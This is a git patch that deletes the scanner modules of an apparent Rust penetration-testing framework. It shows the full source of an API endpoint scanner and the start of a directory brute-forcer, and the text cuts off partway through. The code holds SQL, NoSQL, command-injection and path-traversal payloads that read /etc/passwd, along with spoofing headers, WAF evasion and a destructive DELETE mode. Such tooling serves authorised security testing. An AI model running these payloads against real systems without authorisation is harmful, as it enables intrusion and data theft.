From dc9f028495b4bdb230b344f538bbbc693b7c12c7 Mon Sep 17 00:00:00 2001 From: "S.B" <30941141+s-b-repo@users.noreply.github.com> Date: Fri, 13 Feb 2026 02:28:32 +0200 Subject: [PATCH] Delete src/modules/scanners directory --- src/modules/scanners/api_endpoint_scanner.rs | 802 ------------ src/modules/scanners/dir_brute.rs | 471 ------- src/modules/scanners/dns_recursion.rs | 307 ----- src/modules/scanners/http_method_scanner.rs | 395 ------ src/modules/scanners/http_title_scanner.rs | 412 ------ src/modules/scanners/ipmi_enum_exploit.rs | 798 ------------ src/modules/scanners/mod.rs | 14 - src/modules/scanners/ping_sweep.rs | 1159 ----------------- src/modules/scanners/port_scanner.rs | 756 ----------- src/modules/scanners/sample_scanner.rs | 215 --- src/modules/scanners/sequential_fuzzer.rs | 555 -------- src/modules/scanners/smtp_user_enum.rs | 865 ------------ src/modules/scanners/ssdp_msearch.rs | 447 ------- src/modules/scanners/ssh_scanner.rs | 456 ------- .../scanners/stalkroute_full_traceroute.rs | 462 ------- 15 files changed, 8114 deletions(-) delete mode 100644 src/modules/scanners/api_endpoint_scanner.rs delete mode 100644 src/modules/scanners/dir_brute.rs delete mode 100644 src/modules/scanners/dns_recursion.rs delete mode 100644 src/modules/scanners/http_method_scanner.rs delete mode 100644 src/modules/scanners/http_title_scanner.rs delete mode 100644 src/modules/scanners/ipmi_enum_exploit.rs delete mode 100644 src/modules/scanners/mod.rs delete mode 100644 src/modules/scanners/ping_sweep.rs delete mode 100644 src/modules/scanners/port_scanner.rs delete mode 100644 src/modules/scanners/sample_scanner.rs delete mode 100644 src/modules/scanners/sequential_fuzzer.rs delete mode 100644 src/modules/scanners/smtp_user_enum.rs delete mode 100644 src/modules/scanners/ssdp_msearch.rs delete mode 100644 src/modules/scanners/ssh_scanner.rs delete mode 100644 src/modules/scanners/stalkroute_full_traceroute.rs diff --git a/src/modules/scanners/api_endpoint_scanner.rs b/src/modules/scanners/api_endpoint_scanner.rs deleted file mode 100644 index c10e551..0000000 --- a/src/modules/scanners/api_endpoint_scanner.rs +++ /dev/null @@ -1,802 +0,0 @@ -use anyhow::{anyhow, Context, Result}; -use colored::*; -use futures::{stream, StreamExt}; -use rand::seq::IndexedRandom; -use reqwest::{Client, Method, Response}; -use std::fs::{self, File, OpenOptions}; -use std::io::{BufRead, BufReader, Write}; -use std::path::Path; -use std::sync::atomic::{AtomicUsize, Ordering}; -use std::sync::Arc; -use std::time::Instant; - -use crate::utils::{prompt_existing_file, prompt_int_range, prompt_default, prompt_yes_no, prompt_wordlist, load_lines}; -use serde_json::json; - -// ========================================================================= -// CONSTANTS -// ========================================================================= - -const CHROME_USER_AGENTS: &[&str] = &[ - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", - "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36", -]; - -const SPOOF_HEADERS: &[&str] = &[ - "X-Forwarded-For", "X-Forwarded-Host", "X-Client-IP", "X-Remote-IP", "X-Remote-Addr", - "X-Host", "X-Originating-IP", "Client-IP", "True-Client-IP", "Cluster-Client-IP", - "X-ProxyUser-Ip", "Via", "X-Real-IP", "Forwarded", "X-Custom-IP-Authorization", - "X-Original-URL", "X-Rewrite-URL", "X-Forwarded-Scheme", "X-Forwarded-Proto", "X-Forwarded-Port" -]; - -const SQLI_PAYLOADS: &[&str] = &[ - "'", "\"", "OR 1=1", "' OR '1'='1", "\" OR \"1\"=\"1", - "1' ORDER BY 1--+", "1' UNION SELECT 1,2,3--+", - "admin' --", "admin' #", "' OR 1=1--", -]; - -const NOSQLI_PAYLOADS: &[&str] = &[ - "{$ne: null}", "{$gt: \"\"}", "{$where: \"return true\"}", - "|| return true;", "'; return true; var foo='", -]; - -const CMDI_PAYLOADS: &[&str] = &[ - "; id", "| id", "`id`", "$(id)", - "; cat /etc/passwd", "| cat /etc/passwd", - "& ping -c 1 127.0.0.1", -]; -const TRAVERSAL_PAYLOADS: &[&str] = &[ - "../../etc/passwd", - "../../../../../../../../etc/passwd", - "..%2f..%2f..%2fetc%2fpasswd", - "....//....//....//etc/passwd", - "../../windows/win.ini", -]; - -// ========================================================================= -// DATA STRUCTURES -// ========================================================================= - -#[derive(Clone, Copy, PartialEq, Debug)] -enum ScanModule { - Baseline, - Spoofing, - SQLi, - NoSQLi, - CMDi, - PathTraversal, - IdEnumeration, -} - -struct ScanConfig { - target_base: String, - methods: Vec, - modules: Vec, - use_generic_payload: bool, - output_dir: String, - sqli_payloads: Option>, - nosqli_payloads: Option>, - cmdi_payloads: Option>, - traversal_payloads: Option>, - // ID Enumeration Config - id_start: Option, - id_end: Option, - id_file_path: Option, -} - -#[derive(Clone, Debug, PartialEq)] -struct Endpoint { - key: String, - path: String, -} - -#[derive(serde::Serialize)] -struct GenericPayload { - name: String, - description: String, - test: bool, -} - -// ========================================================================= -// MAIN ENTRY POINT -// ========================================================================= - -pub async fn run(target: &str) -> Result<()> { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ API Endpoint Pentest Module ║".cyan()); - println!("{}", "║ Tests API endpoints for common issues ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); - - // 1. Input parsing & Configuration - let output_dir_name = prompt_default("Output directory name", "api_scan_results")?; - let use_spoofing = prompt_yes_no("Enable IP Spoofing/Bypass headers logic? (Applies to all selected modules)", false)?; - let use_generic_payload = prompt_yes_no("Send generic JSON payload with POST/PUT/PATCH? (Better for API compatibility)", true)?; - - // Method Selection - let mut methods = vec![Method::GET, Method::POST]; - if prompt_yes_no("Enable DELETE method? (WARNING: Destructive)", false)? { - methods.push(Method::DELETE); - } - if prompt_yes_no("Enable Extended HTTP methods (PUT, PATCH, HEAD, OPTIONS, CONNECT, TRACE, DEBUG)?", false)? { - methods.extend(vec![ - Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE, - Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE, - match Method::from_bytes(b"DEBUG") { Ok(m) => m, Err(_) => Method::GET }, // Method parsing is generally safe for ASCII - ]); - } - - println!("1. Baseline (Standard Requests)"); - println!("2. SQL Injection"); - println!("3. NoSQL Injection"); - println!("4. Command Injection"); - println!("5. Path Traversal"); - println!("6. ID/Payload Enumeration"); - - let module_selection = prompt_default("Selection", "1")?; - let mut modules = Vec::new(); - - for s in module_selection.split(',') { - match s.trim() { - "1" => modules.push(ScanModule::Baseline), - "2" => modules.push(ScanModule::SQLi), - "3" => modules.push(ScanModule::NoSQLi), - "4" => modules.push(ScanModule::CMDi), - "5" => modules.push(ScanModule::PathTraversal), - "6" => modules.push(ScanModule::IdEnumeration), - _ => println!("{}", format!("Invalid module selection: {}", s).yellow()), - } - } - if use_spoofing { - modules.push(ScanModule::Spoofing); - } - modules.dedup(); // Remove duplicates if any - - if modules.is_empty() { - return Err(anyhow!("No modules selected!")); - } - - let concurrency = prompt_int_range("Concurrency limit", 10, 1, 100)? as usize; - - // Bug 10: Configurable timeout - let timeout_secs = prompt_int_range("Timeout (seconds)", 10, 1, 60)? as u64; - - // Injection Attacks Configuration - let sqli_payloads = if modules.contains(&ScanModule::SQLi) { - configure_injection_payloads("SQL", SQLI_PAYLOADS)? - } else { None }; - - let nosqli_payloads = if modules.contains(&ScanModule::NoSQLi) { - configure_injection_payloads("NoSQL", NOSQLI_PAYLOADS)? - } else { None }; - - let cmdi_payloads = if modules.contains(&ScanModule::CMDi) { - configure_injection_payloads("Command", CMDI_PAYLOADS)? - } else { None }; - - let traversal_payloads = if modules.contains(&ScanModule::PathTraversal) { - configure_injection_payloads("Path Traversal", TRAVERSAL_PAYLOADS)? - } else { None }; - - // ID Enumeration Configuration - let (id_start, id_end, id_file_path) = if modules.contains(&ScanModule::IdEnumeration) { - println!("\n{}", "Configure ID/Payload Enumeration:".cyan().bold()); - println!("1. Numeric Range (e.g. 1-100)"); - println!("2. File List (e.g. valid_ids.txt)"); - let enum_choice = prompt_default("Selection", "1")?; - - if enum_choice == "2" { - (None, None, Some(prompt_existing_file("Path to ID/Payload file")?)) - } else { - let start = prompt_int_range("Start ID", 1, 0, 1000000)? as usize; - let end = prompt_int_range("End ID", 100, start as i64, 1000000)? as usize; - if start > end { - return Err(anyhow!("Start ID must be less than or equal to End ID")); - } - (Some(start), Some(end), None) - } - } else { - (None, None, None) - }; - - // Validate and format target base URL - let target_base = if target.contains("://") { - target.trim_end_matches('/').to_string() - } else { - format!("https://{}", target.trim_end_matches('/')) - }; - - println!("[*] Using target: {}", target_base.cyan()); - - // 2. Endpoint Source Selection - println!("\n{}", "Select Endpoint Source:".cyan().bold()); - println!("1. Load from file (Known endpoints)"); - println!("2. Brute-force/Enumerate (Discover using wordlist)"); - let source_choice = prompt_default("Selection", "1")?; - - let mut endpoints = if source_choice == "2" { - // Enumerate - let base_path = prompt_default("Base Path (e.g. /api/)", "/")?; - let wordlist_path = prompt_wordlist("Wordlist path")?; - - // Setup simple client for enumeration - let enum_client = Client::builder() - .danger_accept_invalid_certs(true) - .timeout(std::time::Duration::from_secs(5)) - .build()?; - - enumerate_endpoints(&enum_client, &target_base, &base_path, &wordlist_path, concurrency).await? - } else { - // Load from file - let endpoint_file = prompt_existing_file("Path to endpoint list file")?; - parse_endpoint_file(&endpoint_file)? - }; - - // Deduplicate endpoints based on key and path to avoid redundant work and file collisions - endpoints.sort_by(|a, b| a.key.cmp(&b.key).then(a.path.cmp(&b.path))); - endpoints.dedup_by(|a, b| a.key == b.key && a.path == b.path); - - if endpoints.is_empty() { - return Err(anyhow!("No valid endpoints found/discovered. Exiting.")); - } - println!("[*] Processing {} endpoints", endpoints.len().to_string().cyan()); - - // 3. Setup Client - let client = Client::builder() - .danger_accept_invalid_certs(true) - .timeout(std::time::Duration::from_secs(timeout_secs)) - .build() - .context("Failed to build HTTP client")?; - - // 4. Create Output Directory - fs::create_dir_all(&output_dir_name).context("Failed to create output directory")?; - // Get absolute path for logging - let abs_output_dir = fs::canonicalize(&output_dir_name)?; - println!("[*] Saving results to: {}", abs_output_dir.display().to_string().cyan()); - - let config = Arc::new(ScanConfig { - target_base, - methods, - modules, - use_generic_payload, - output_dir: output_dir_name, - sqli_payloads, - nosqli_payloads, - cmdi_payloads, - traversal_payloads, - id_start, - id_end, - id_file_path, - }); - let client = Arc::new(client); - - // 5. Run Concurrent Scan - println!("{}", "\n[*] Starting scan...".cyan().bold()); - let start_time = Instant::now(); - let counter = Arc::new(AtomicUsize::new(0)); - let total = endpoints.len(); - - let stream = stream::iter(endpoints) - .map(|endpoint| { - let config = Arc::clone(&config); - let client = client.clone(); - let counter = Arc::clone(&counter); - async move { - let current = counter.fetch_add(1, Ordering::SeqCst) + 1; - // Print progress occasionally - if current % 10 == 0 || current == total { - print!("\r[*] Progress: {}/{}", current, total); - if let Err(e) = std::io::stdout().flush() { - eprintln!("\n[!] Failed to flush stdout: {}", e); - } - } - - scan_endpoint(&client, &config, endpoint).await - } - }) - .buffer_unordered(concurrency); - - // Collect all results - let results: Vec<()> = stream.collect().await; - - println!("\n{}", "\n[+] Scan completed!".green().bold()); - println!("[+] Processed {} endpoints.", results.len()); - println!("Time elapsed: {:.2?}", start_time.elapsed()); - Ok(()) -} - -// ========================================================================= -// SETUP HELPERS -// ========================================================================= - -fn configure_injection_payloads(name: &str, default_payloads: &[&str]) -> Result>> { - println!(); // Add spacing - if !prompt_yes_no(&format!("Test for {} Injection?", name), false)? { - return Ok(None); - } - - if prompt_yes_no(&format!("Use default {} payloads?", name), true)? { - return Ok(Some(default_payloads.iter().map(|&s| s.to_string()).collect())); - } - - let file_path = prompt_existing_file(&format!("Path to custom {} payload file", name))?; - let file = File::open(file_path)?; - let reader = BufReader::new(file); - let payloads: Vec = reader.lines() - .collect::>()?; - - if payloads.is_empty() { - return Err(anyhow!("Payload file is empty")); - } - - Ok(Some(payloads)) -} - -fn parse_endpoint_file(path: &str) -> Result> { - let file = File::open(path)?; - let reader = BufReader::new(file); - let mut endpoints = Vec::new(); - - for (idx, line_res) in reader.lines().enumerate() { - let line = line_res?; - let items: Vec<&str> = line.split_whitespace().collect(); - - if items.is_empty() { - continue; - } - - if items.len() >= 2 { - endpoints.push(Endpoint { - key: items[0].to_string(), - path: items[1].to_string(), - }); - } else if items.len() == 1 { - // Fallback for files with just paths - // Use path as key (sanitized) - let path_str = items[0]; - let key = path_str.replace('/', "_").trim_start_matches('_').to_string(); - endpoints.push(Endpoint { - key: if key.is_empty() { "root".to_string() } else { key }, - path: path_str.to_string(), - }); - } else { - // Should not happen due to is_empty check, but good to report if logic changes - println!("{}", format!("[!] Skipping line {} - unknown format: '{}'", idx + 1, line).yellow()); - } - } - Ok(endpoints) -} - -async fn enumerate_endpoints(client: &Client, target_base: &str, base_path: &str, wordlist_path: &str, concurrency: usize) -> Result> { - println!("{}", "\n[*] Starting Endpoint Enumeration...".cyan()); - - let lines = load_lines(wordlist_path)?; - if lines.is_empty() { - return Err(anyhow!("Wordlist is empty")); - } - let total = lines.len(); - println!("[*] Enumerating {} potential endpoints with concurrency {}", total, concurrency); - - let base_url = format!("{}{}", - target_base.trim_end_matches('/'), - if base_path.starts_with('/') { base_path.to_string() } else { format!("/{}", base_path) } - ); - // Ensure base_url ends with / for appending words - let base_url = if base_url.ends_with('/') { base_url } else { format!("{}/", base_url) }; - - let counter = Arc::new(AtomicUsize::new(0)); - - // Bug 6: Calculate base path prefix once outside loop - let clean_base_path = if base_path.starts_with('/') { base_path.to_string() } else { format!("/{}", base_path) }; - - // Use a stream that returns Option instead of locking a shared Vec - let stream = stream::iter(lines) - .map(|word| { - let client = client.clone(); - let counter = Arc::clone(&counter); - let base_url = base_url.clone(); - let clean_base_path = clean_base_path.clone(); - async move { - let current = counter.fetch_add(1, Ordering::SeqCst) + 1; - if current % 50 == 0 || current == total { - print!("\r[*] Brute-force Progress: {}/{}", current, total); - if let Err(_e) = std::io::stdout().flush() { - // Ignore flush errors in tough loops - } - } - - let url = format!("{}{}", base_url, word); - match client.get(&url).send().await { - Ok(resp) => { - let status = resp.status(); - // Consider valid if not 404 - if status != reqwest::StatusCode::NOT_FOUND { - // Recalculate clean path efficiently - let clean_path = format!("{}{}", clean_base_path, word); - // Ensure no double slashes (Bug 5 fix: check logic) - let clean_path = clean_path.replace("//", "/"); - - Some(Endpoint { - key: word.to_string(), - path: clean_path, - }) - } else { - None - } - }, - Err(_) => None, - } - } - }) - .buffer_unordered(concurrency); - - // Collect all results and filter out Nones - let results: Vec = stream - .filter_map(|x| async { x }) - .collect() - .await; - - println!(); // Newline after progress - - if results.is_empty() { - println!("{}", "[-] No endpoints occurred.".yellow()); - } else { - println!("{}", format!("[+] Discovered {} endpoints!", results.len()).green().bold()); - for ep in &results { - println!(" - {}", ep.path); - } - } - - Ok(results) -} - -// ========================================================================= -// SCAN LOGIC -// ========================================================================= - -async fn scan_endpoint(client: &Client, config: &ScanConfig, endpoint: Endpoint) { - // Create directory for this endpoint - // Bug 9: Fix collision by appending a short hash of path - use std::collections::hash_map::DefaultHasher; - use std::hash::{Hash, Hasher}; - let mut hasher = DefaultHasher::new(); - endpoint.path.hash(&mut hasher); - let path_hash = hasher.finish(); - - let sanitized_key = format!("{}_{:x}", - endpoint.key.replace(|c: char| !c.is_alphanumeric() && c != '_', "_"), - path_hash - ); - let endpoint_dir = Path::new(&config.output_dir).join(&sanitized_key); - - if let Err(e) = fs::create_dir_all(&endpoint_dir) { - eprintln!("\n{}", format!("[!] Failed to create dir for {}: {}", endpoint.key, e).red()); - return; - } - - let url = format!("{}{}", config.target_base, endpoint.path); - - // Iterate through all selected methods - for method in &config.methods { - let method_str = method.as_str().to_string(); - - // Iterate through all selected modules - for module in &config.modules { - match module { - ScanModule::Baseline => { - // Standard Request - scan_method(client, &url, method.clone(), &endpoint_dir, &method_str, config).await; - }, - ScanModule::Spoofing => { - scan_spoofing(client, &url, method.clone(), &endpoint_dir, &method_str, config).await; - }, - ScanModule::SQLi => { - if let Some(payloads) = &config.sqli_payloads { - for payload in payloads { - perform_injection(client, &url, method.clone(), "SQLi", payload, &endpoint_dir, config).await; - } - } - }, - ScanModule::NoSQLi => { - if let Some(payloads) = &config.nosqli_payloads { - for payload in payloads { - perform_injection(client, &url, method.clone(), "NoSQLi", payload, &endpoint_dir, config).await; - } - } - }, - ScanModule::CMDi => { - if let Some(payloads) = &config.cmdi_payloads { - for payload in payloads { - perform_injection(client, &url, method.clone(), "CMDi", payload, &endpoint_dir, config).await; - } - } - }, - ScanModule::PathTraversal => { - if let Some(payloads) = &config.traversal_payloads { - for payload in payloads { - perform_injection(client, &url, method.clone(), "Traversal", payload, &endpoint_dir, config).await; - } - } - }, - ScanModule::IdEnumeration => { - perform_id_enumeration(client, &url, method.clone(), &endpoint_dir, config).await; - } - } - } - } -} - -async fn perform_id_enumeration(client: &Client, url: &str, method: Method, dir: &Path, config: &ScanConfig) { - let enum_dir = dir.join("enumeration"); - if let Err(e) = fs::create_dir_all(&enum_dir) { - eprintln!("[!] Failed to create enumeration directory: {}", e); - return; - } - - let bodies_dir = enum_dir.join("bodies"); - if let Err(e) = fs::create_dir_all(&bodies_dir) { - eprintln!("[!] Failed to create bodies directory: {}", e); - return; - } - - let results_file = enum_dir.join("results.txt"); - // Open file once to prevent resource exhaustion in loop - let mut results_file_handle = match OpenOptions::new().create(true).append(true).open(&results_file) { - Ok(f) => f, - Err(e) => { - eprintln!("[!] Failed to open results file: {}", e); - return; - } - }; - - // Determine injection point - // Strategy: Look for the last numeric segment. If found, replace it. - // If NOT found, append to the end. - let parts: Vec<&str> = url.split('/').collect(); - let mut numeric_index = None; - - for (i, part) in parts.iter().enumerate().rev() { - if part.chars().all(|c| c.is_digit(10)) && !part.is_empty() { - numeric_index = Some(i); - break; - } - } - - // Prepare iterator - let payloads: Vec = if let Some(path) = &config.id_file_path { - if let Ok(lines) = load_lines(path) { - lines - } else { - return; - } - } else if let (Some(start), Some(end)) = (config.id_start, config.id_end) { - (start..=end).map(|i| i.to_string()).collect() - } else { - return; - }; - - for payload in payloads { - let target_url = if let Some(idx) = numeric_index { - // Replace existing number - let mut new_parts = parts.clone(); - new_parts[idx] = &payload; - new_parts.join("/") - } else { - // Append - let base = if url.ends_with('/') { url.to_string() } else { format!("{}/", url) }; - format!("{}{}", base, payload) - }; - - // Label for connection reuse/logging - let label = format!("ID-Enum-{}", payload); - - // Execute Request logic manually here to handle specific saving logic - // Or reuse perform_request but we want to save bodies specifically - - let req_builder = client.request(method.clone(), &target_url) - .header("User-Agent", "Mozilla/5.0 (IDEnum)"); - - match req_builder.send().await { - Ok(resp) => { - let status = resp.status(); - if status != reqwest::StatusCode::NOT_FOUND { - // Log hit - // Log hit with shared handle - // Log hit with shared handle - if let Err(e) = run_enum_logging_handle(&mut results_file_handle, &payload, &label, status, &target_url) { - eprintln!("[!] Logging failed: {}", e); - } - - // If 200, save body - if status.is_success() { - let body_file = bodies_dir.join(format!("{}.txt", payload)); - let body = match resp.bytes().await { - Ok(b) => b, - Err(_) => bytes::Bytes::new(), - }; - if let Ok(mut f) = File::create(body_file) { - if let Err(e) = f.write_all(&body) { - eprintln!("[!] Failed to write body: {}", e); - } - } - } - } - }, - _ => {} - } - } -} - -fn run_enum_logging_handle(file: &mut File, payload: &str, label: &str, status: reqwest::StatusCode, url: &str) -> std::io::Result<()> { - writeln!(file, "[{}] [{}] ID: {} - Status: {} - URL: {}", chrono::Local::now().format("%H:%M:%S"), label, payload, status, url)?; - Ok(()) -} - -async fn scan_method(client: &Client, url: &str, method: Method, dir: &Path, method_name: &str, config: &ScanConfig) { - let result_file = dir.join("results.txt"); - // Standard Request Only (Spoofing separated) - perform_request(client, url, method.clone(), &result_file, method_name, "Standard", None, None, config).await; -} - -async fn scan_spoofing(client: &Client, url: &str, method: Method, dir: &Path, method_name: &str, config: &ScanConfig) { - let result_file = dir.join("results.txt"); - for &header in SPOOF_HEADERS { - let value = if header == "X-Forwarded-Host" { "localhost" } else { "127.0.0.1" }; - perform_request(client, url, method.clone(), &result_file, method_name, &format!("Spoof-{}", header), Some((header, value)), None, config).await; - } -} - -async fn perform_injection(client: &Client, url: &str, method: Method, type_name: &str, payload: &str, dir: &Path, config: &ScanConfig) { - let result_file = dir.join("injection_results.txt"); - - // 1. URL Injection (Applies to ALL methods) - // Construct URL with payload - // Bug 16: Fix parameter injection logic - let injected_url = if url.contains('?') { - format!("{}&test={}", url, payload) - } else { - format!("{}?test={}", url, payload) - }; - - perform_request(client, &injected_url, method.clone(), &result_file, type_name, &format!("{}-URL-{}", method.as_str(), payload), None, None, config).await; - - // 2. Body Injection (Only for methods that typically support body) - // POST, PUT, PATCH, DELETE - match method { - Method::POST | Method::PUT | Method::PATCH | Method::DELETE => { - // Construct malicious JSON - let json_payload = json!({ - "name": payload, - "description": payload, - "test": true, - "id": payload, - "query": payload - }); - - perform_request(client, url, method, &result_file, type_name, &format!("Body-{}", payload), None, Some(json_payload), config).await; - }, - _ => {} - } -} - -// ========================================================================= -// REQUEST EXECUTION -// ========================================================================= - -async fn perform_request(client: &Client, url: &str, method: Method, result_file: &Path, method_name: &str, valid_label: &str, header: Option<(&str, &str)>, custom_json: Option, config: &ScanConfig) { - let user_agent = match CHROME_USER_AGENTS.choose(&mut rand::rng()) { - Some(ua) => *ua, - None => "Mozilla/5.0", - }; - - let mut req_builder = client.request(method.clone(), url) - .header("User-Agent", user_agent); - - if let Some((k, v)) = header { - req_builder = req_builder.header(k, v); - } - - // Add payload - if let Some(json) = custom_json { - req_builder = req_builder.json(&json); - } else if config.use_generic_payload && (method == Method::POST || method == Method::PUT) { - req_builder = req_builder.json(&GenericPayload { - name: "test_api_scanner".to_string(), - description: "Automated scan".to_string(), - test: true, - }); - } - - // Full method label for logging - let full_label = format!("{} [{}]", method_name, valid_label); - - match req_builder.send().await { - Ok(resp) => { - if let Err(e) = log_response(resp, result_file, &full_label, url, user_agent).await { - eprintln!("\n{}", format!("[!] Failed to log response for {}: {}", full_label, e).red()); - } - }, - Err(e) => { - // Log error to file - if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(result_file) { - if let Err(write_err) = writeln!(file, "=== {} {} ===\nError: {}\n", full_label, url, e) { - eprintln!("[!] Failed to write error log: {}", write_err); - } - } - } - } -} - -async fn log_response(resp: Response, path: &Path, method: &str, url: &str, user_agent: &str) -> Result<()> { - let status = resp.status(); - let headers = resp.headers().clone(); - - let mut file = OpenOptions::new() - .create(true) - .append(true) - .open(path)?; - - // Safety: Limit body read to 1MB to prevent OOM - // Bug 11: Check Content-Length first - if let Some(cl) = headers.get("content-length") { - if let Ok(s) = cl.to_str() { - if let Ok(len) = s.parse::() { - if len > 5_000_000 { - writeln!(file, "Body skipped (Content-Length: {} > 5MB)", len)?; - return Ok(()); - } - } - } - } - - // Streaming check or limited read - let body_bytes = match resp.bytes().await { - Ok(b) => b, - Err(e) => { - // Don't fail the whole log just for body read error - writeln!(file, "Failed to read body: {}", e)?; - return Ok(()); - } - }; - let body_len = body_bytes.len(); - let max_len = 1_000_000; - let truncated = body_len > max_len; - let body = if truncated { - &body_bytes[..max_len] - } else { - &body_bytes[..] - }; - - - writeln!(file, "=======================================================")?; - writeln!(file, "Timestamp: {}", chrono::Local::now().to_rfc3339())?; - writeln!(file, "Request: {} {}", method, url)?; - writeln!(file, "User-Agent: {}", user_agent)?; - writeln!(file, "-------------------------------------------------------")?; - writeln!(file, "Status: {}", status)?; - writeln!(file, "Headers:")?; - - for (k, v) in headers.iter() { - writeln!(file, " {}: {:?}", k, v)?; - } - writeln!(file, "Body Length: {} bytes", body.len())?; - writeln!(file, "-------------------------------------------------------")?; - - // Try to convert body to string for log, if utf8 - if let Ok(body_str) = String::from_utf8(body.to_vec()) { - writeln!(file, "Body Preview{}:\n{}", if truncated { " (TRUNCATED)" } else { "" }, body_str)?; - } else { - writeln!(file, "Body is binary or non-UTF8")?; - } - writeln!(file, "=======================================================\n")?; - - Ok(()) -} diff --git a/src/modules/scanners/dir_brute.rs b/src/modules/scanners/dir_brute.rs deleted file mode 100644 index 478edac..0000000 --- a/src/modules/scanners/dir_brute.rs +++ /dev/null @@ -1,471 +0,0 @@ -use anyhow::{Result, Context, anyhow}; -use colored::*; -use reqwest::{Client, Method, header}; -use serde::{Deserialize, Serialize}; - -use std::fs; -use std::sync::Arc; -use std::sync::atomic::{AtomicUsize, Ordering}; -use std::time::Duration; -use tokio::sync::Semaphore; -use crate::utils::{ - prompt_required, prompt_default, prompt_yes_no, prompt_wordlist, - normalize_target, load_lines, prompt_existing_file -}; -use rand::seq::IndexedRandom; - -// --- Constants & Data --- - -const USER_AGENTS: &[&str] = &[ - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15", - "Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0", - "Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", - "RustSploit/0.3", - "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", -]; - -const COMMON_STATUS_CODES: &[u16] = &[200, 201, 204, 301, 302, 307, 401, 403, 405, 421, 500]; - -// --- Configuration Structs --- - -#[derive(Serialize, Deserialize, Debug, Clone)] -pub struct DirBruteConfig { - pub target_host: String, - pub protocol: String, // http or https - pub port: u16, - pub base_path: String, // e.g. "/" or "/api/" - pub wordlist_path: String, - - // Scan Settings - pub scan_mode: u8, // 1=GET, 2=NUKE (Safe), 3=DESTROY (Delete) - pub concurrency: usize, - pub delay_ms: u64, - - // Evasion - pub random_agent: bool, - pub custom_cookies: Option, // e.g. "cf_clearance=...; _cfduid=..." - - // Reporting - pub verbose: bool, -} - -impl Default for DirBruteConfig { - fn default() -> Self { - Self { - target_host: String::new(), - protocol: "http".to_string(), - port: 80, - base_path: "/".to_string(), - wordlist_path: String::new(), - scan_mode: 1, - concurrency: 10, - delay_ms: 200, - random_agent: false, - custom_cookies: None, - verbose: false, - } - } -} - -// --- Main Entry Point --- - -pub async fn run(target: &str) -> Result<()> { - print_banner(); - - // 1. Wizard Menu - println!("{}", "Select Operation Mode:".cyan().bold()); - println!("1. Quick Attack (Default Settings)"); - println!("2. Create Template (Wizard -> Save)"); - println!("3. Load Template (Load -> Run)"); - println!("4. Custom Attack (Wizard -> Run)"); - - let choice = prompt_default("Selection", "1")?; - - let config = match choice.as_str() { - "1" => setup_quick_attack(target).await?, - "2" => { - let cfg = setup_wizard(target).await?; - save_template(&cfg).await?; - println!("\n{}", "Template saved. Exiting module.".green()); - return Ok(()); - }, - "3" => load_template().await?, - "4" => setup_wizard(target).await?, - _ => { - println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow()); - setup_quick_attack(target).await? - } - }; - - // 2. Execution - execute_scan(config).await -} - -fn print_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ Advanced Directory Brute Force ║".cyan()); - println!("{}", "║ Features: Nuke Mode, WAF Evasion, Config Manager ║".red()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); -} - -// --- Setup Helpers --- - -async fn setup_quick_attack(initial_target: &str) -> Result { - println!("\n{}", "--- Quick Attack Setup ---".blue().bold()); - - // 1. Target - let (proto, host, port, path) = parse_target_interactive(initial_target).await?; - - // 2. Wordlist - let wordlist = prompt_wordlist("Wordlist path")?; - - Ok(DirBruteConfig { - target_host: host, - protocol: proto, - port, - base_path: path, - wordlist_path: wordlist, - verbose: false, - ..DirBruteConfig::default() - }) -} - -async fn setup_wizard(initial_target: &str) -> Result { - println!("\n{}", "--- Advanced Configuration Wizard ---".blue().bold()); - - // 1. Target - let (proto, host, port, path) = parse_target_interactive(initial_target).await?; - - // 2. Scan Mode - println!("\n{}", "Select Scan Mode:".cyan()); - println!("1. Standard (GET only) - [Recommended]"); - println!("2. Nuke Mode (GET, POST, 